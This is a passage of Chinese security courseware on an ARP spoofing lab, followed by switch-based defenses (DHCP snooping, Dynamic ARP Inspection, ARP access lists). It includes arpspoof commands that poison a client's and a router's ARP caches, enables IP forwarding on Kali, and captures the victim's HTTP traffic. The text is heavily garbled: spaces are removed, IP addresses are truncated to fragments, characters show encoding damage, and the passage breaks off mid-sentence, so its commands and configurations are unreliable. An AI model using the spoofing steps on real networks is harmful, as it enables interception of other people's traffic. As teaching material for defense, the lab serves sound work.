《計(jì)算機(jī)網(wǎng)絡(luò)安全防護(hù)技術(shù)（第二版）》 課件 第5章 任務(wù)5.4 ARP欺騙攻擊及防御

第5章局域網(wǎng)安全技術(shù)編著：

秦?zé)鰟诖浣?/p>

任務(wù)5.4ARP欺騙攻擊及防御任務(wù)5.4ARP欺騙攻擊及防御

攻擊者通過(guò)ARP欺騙，讓用戶認(rèn)為攻擊者的電腦就是網(wǎng)關(guān)，同時(shí)讓網(wǎng)關(guān)認(rèn)為攻擊者的電腦就是用戶的電腦。使用戶訪問外網(wǎng)需要攻擊的電腦中轉(zhuǎn)。攻擊者以中間人的角色進(jìn)行抓包截獲受害者通過(guò)網(wǎng)絡(luò)傳輸?shù)男畔ⅰ?/p>

啟動(dòng)EVE-NG，搭建如圖5-4-1的拓?fù)鋱D。圖5-4-1實(shí)驗(yàn)拓?fù)鋱D5-4-1實(shí)驗(yàn)拓?fù)?.4.1ARP欺騙攻擊一、客戶機(jī)通過(guò)DHCP服務(wù)器獲取到了IP地址、子網(wǎng)掩碼、缺省網(wǎng)關(guān)等信息。查看客戶機(jī)獲取到的IP地址：C:\DocumentsandSettings\Administrator>ipconfig/allEthernetadapter本地連接:Connection-specificDNSSuffix.:Description...........:Intel(R)PRO/1000MTNetworkConnectionPhysicalAddress.........:30-30-30-30-30-30DHCPEnabled...........:YesAutoconfigurationEnabled....:YesIPAddress............:0SubnetMask...........:DefaultGateway.........:54DHCPServer...........:0DNSServers...........:14LeaseObtained..........:2018年12月25日7:06:31LeaseExpires..........:2019年1月2日7:06:31二、查看路由器的相關(guān)接口配置的IP地址及路由表1.查看路由器的配置R1#showipintbInterfaceIP-AddressOK?MethodStatusProtocolGigabitEthernet0/054YESmanualupupGigabitEthernet0/10YESmanualupupGigabitEthernet0/2unassignedYESunsetadministrativelydowndownGigabitEthernet0/3unassignedYESunsetadministrativelydowndown2.查看路由表R1#showiprouteCodes:L-local,C-connected,S-static,R-RIP,M-mobile,B-BGPD-EIGRP,EX-EIGRPexternal,O-OSPF,IA-OSPFinterareaN1-OSPFNSSAexternaltype1,N2-OSPFNSSAexternaltype2E1-OSPFexternaltype1,E2-OSPFexternaltype2i-IS-IS,su-IS-ISsummary,L1-IS-ISlevel-1,L2-IS-ISlevel-2ia-IS-ISinterarea,*-candidatedefault,U-per-userstaticrouteo-ODR,P-periodicdownloadedstaticroute,H-NHRP,l-LISPa-applicationroute+-replicatedroute,%-nexthopoverride,p-overridesfromPfRGatewayoflastresortistonetworkS*/0[1/0]via/24isvariablysubnetted,2subnets,2masksC/24isdirectlyconnected,GigabitEthernet0/0L54/32isdirectlyconnected,GigabitEthernet0/0/24isvariablysubnetted,2subnets,2masksC/24isdirectlyconnected,GigabitEthernet0/1L0/32isdirectlyconnected,GigabitEthernet0/1三、在路由器上，ping各主機(jī)，查看ARP緩存表1.PingDHCP服務(wù)器0R1#ping02.PingkaliLinux主機(jī)1R1#ping13.Ping客戶機(jī)R1#ping04.經(jīng)過(guò)ping測(cè)試，R1獲取到了各相關(guān)主機(jī)的MAC地址，通過(guò)查看R1上的ARP緩存表，確認(rèn)各主機(jī)IP地址與MAC地址的對(duì)應(yīng)關(guān)系。R1#showarpProtocolAddressAge(min)HardwareAddrTypeInterfaceInternet011010.1010.1010ARPAGigabitEthernet0/0Internet106060.6060.6060ARPAGigabitEthernet0/0Internet013030.3030.3030ARPAGigabitEthernet0/0Internet54-8080.8080.8080ARPAGigabitEthernet0/0Internet10050.56e1.7e5fARPAGigabitEthernet0/1Internet0-5000.0002.0001ARPAGigabitEthernet0/1四、在客戶機(jī)上：1.在客戶機(jī)上，pingDHCP服務(wù)器、網(wǎng)關(guān)、KaliLinux客戶機(jī)、百度網(wǎng)站。C:\>ipconfigC:\>ping0C:\>ping54C:\>ping1C:\>ping都能ping通。2.查看ARP緩存表C:\>arp-aInterface:0---0x60003InternetAddressPhysicalAddressType010-10-10-10-10-10dynamic160-60-60-60-60-60dynamic5480-80-80-80-80-80dynamic五、在DHCP服務(wù)器上：C:\>ipconfigC:\>ping1C:\>ping0C:\>ping54C:\>arp-aInterface:0---0x60003InternetAddressPhysicalAddressType010-10-10-10-10-10dynamic160-60-60-60-60-60dynamic5480-80-80-80-80-80dynamic六、在交換機(jī)上：1.查看mac地址表SW1#showmacaddress-tableMacAddressTable-------------------------------------------VlanMacAddressTypePorts----------------------------10050.56c0.0001DYNAMICGi0/010050.56c0.0002DYNAMICGi0/110050.56c0.0003DYNAMICGi0/210050.56c0.0004DYNAMICGi1/011010.1010.1010DYNAMICGi0/013030.3030.3030DYNAMICGi0/216060.6060.6060DYNAMICGi1/018080.8080.8080DYNAMICGi0/3TotalMacAddressesforthiscriterion:82.查看當(dāng)前的DHCP監(jiān)聽綁定表SW1#showipdhcpsnoopingbindingMacAddressIpAddressLease(sec)TypeVLANInterface--------------------------------------------------------------------Totalnumberofbindings:03.查看DHCP監(jiān)聽綁定數(shù)據(jù)庫(kù)的相關(guān)信息SW1#showipdhcpsnoopingdatabaseAgentURL:WritedelayTimer:300secondsAbortTimer:300secondsAgentRunning:NoDelayTimerExpiry:NotRunningAbortTimerExpiry:NotRunningLastSuccededTime:NoneLastFailedTime:NoneLastFailedReason:Nofailurerecorded.TotalAttempts:0StartupFailures:0SuccessfulTransfers:0FailedTransfers:0SuccessfulReads:0FailedReads:0SuccessfulWrites:0FailedWrites:0MediaFailures:0七、在KaliLinux上：開啟三個(gè)命令行窗口：第一個(gè)窗口：root@kali:~#arpspoof-t0-r54用于攻擊0，將KaliLinux仿造成54。第二個(gè)窗口：root@kali:~#arpspoof-t54-r0用于攻擊54，將KaliLinux仿造成0。第三個(gè)窗口：root@kali:~#ping0root@kali:~#ping54八、在DHCP服務(wù)器上，查arp緩存表，可以發(fā)現(xiàn)，網(wǎng)關(guān)的MAC地址已經(jīng)變成kali的了：攻擊前查看到的：C:\DocumentsandSettings\Administrator>arp-aInterface:0---0x10003InternetAddressPhysicalAddressType160-60-60-60-60-60dynamic5480-80-80-80-80-80dynamic攻擊后查看到的：C:\DocumentsandSettings\Administrator>arp-aInterface:0---0x10003InternetAddressPhysicalAddressType160-60-60-60-60-60dynamic5460-60-60-60-60-60dynamic九、在路由器上，查arp緩存表，可以發(fā)現(xiàn)，DHCP服務(wù)器的MAC地址已經(jīng)變成kali的了：攻擊前查看到的：R1#showarpProtocolAddressAge(min)HardwareAddrTypeInterfaceInternet001010.1010.1010ARPAGigabitEthernet0/0Internet106060.6060.6060ARPAGigabitEthernet0/0攻擊后查看到的：R1#showarpProtocolAddressAge(min)HardwareAddrTypeInterfaceInternet006060.6060.6060ARPAGigabitEthernet0/0Internet106060.6060.6060ARPAGigabitEthernet0/0十、在kalilinux1.暫時(shí)打開路由功能echo1>/proc/sys/net/ipv4/ip_forward2.查看路由表root@kali:~#route-nKernelIProutingtableDestinationGatewayGenmaskFlagsMetricRefUseIface54UG000eth0U000eth0可以查看到，之前已經(jīng)將默認(rèn)路由指向了54。3.在kaliLinux上，打開抓包軟件，開始抓包，過(guò)濾設(shè)成http，只顯示抓到的http流量。在DHCP服務(wù)器win1上，訪問。如圖5-4-2所示，在KaliLinux上，抓包軟件顯示：可以抓到win1訪問baidu的包。圖5-4-2KaliLinux上的抓包結(jié)果5.4.2ARP攻擊的防御

針對(duì)ARP攻擊，可在交換機(jī)上啟用動(dòng)態(tài)ARP檢查（DynamicARPInspection，DAI）來(lái)進(jìn)行防御。DAI是基于DHCPSnooping來(lái)工作的，DHCPSnooping監(jiān)聽并綁定IP地址與MAC地址到綁定表中，并與相應(yīng)的交換機(jī)端口關(guān)聯(lián)。DAI以這個(gè)表來(lái)檢查非信任端口的ARP請(qǐng)求和應(yīng)答，拒絕不合法的APR包；對(duì)于可信任接口，不需要做任何檢查。對(duì)于不使用DHCP獲取IP地址的計(jì)算機(jī)，需靜態(tài)添加DHCP綁定表或通過(guò)ARPaccess-list來(lái)設(shè)置IP地址、MAC地址及交換機(jī)端口的對(duì)應(yīng)關(guān)系。一、停止攻擊在kaliLinux上，按^Z，停止攻擊，歸還正常MAC地址。二、在交換機(jī)上1.激活DHCPSnooping技術(shù)Switch>enSwitch#conftSwitch(config)#ipdhcpsnoopingSwitch(config)#clocktimezoneGMT+8Switch(config)#exitSwitch#clockset09:24:0024Aug2018Switch#conftSwitch(config)#ipdhcpsnoopingdatabaseflash:/dai.dbSwitch(config)#intg0/0Switch(config-if)#ipdhcpsnoopingtrustSwitch(config)#ipdhcpsnoopingvlan1Switch#showipdhcpsnoopingbinding2.若存在多臺(tái)交換機(jī)，需要對(duì)交換機(jī)與交換機(jī)之間的接口啟用信任。本例中不需要配置。3．對(duì)不信任接口發(fā)ARP包進(jìn)行限速。Switch(config)#intrangeg0/0-3,g1/0Switch(config-if-range)#iparpinspectionlimitrate104.建立ARP訪問控制列表，指定正常IP與MAC的映射關(guān)系，并應(yīng)用到vlan1。Switch(config)#arpaccess-listarplist1Switch(config-arp-nacl)#permitiphost0machost1010.1010.1010Switch(config-arp-nacl)#permitiphost1machost6060.6060.6060Switch(config-arp-nacl)#permitiphost0machost2020.2020.2020Switch(config-arp-nacl)#permitiphost54machost8080.8080.8080Switch(config-arp-nacl)#exitSwitch(config)#iparpinspectionfilterarplist1vlan1static其中，iparpinspectionfilterarplist1vlan1static表示只認(rèn)可靜態(tài)輸入的映射關(guān)系，不認(rèn)可DHCPSno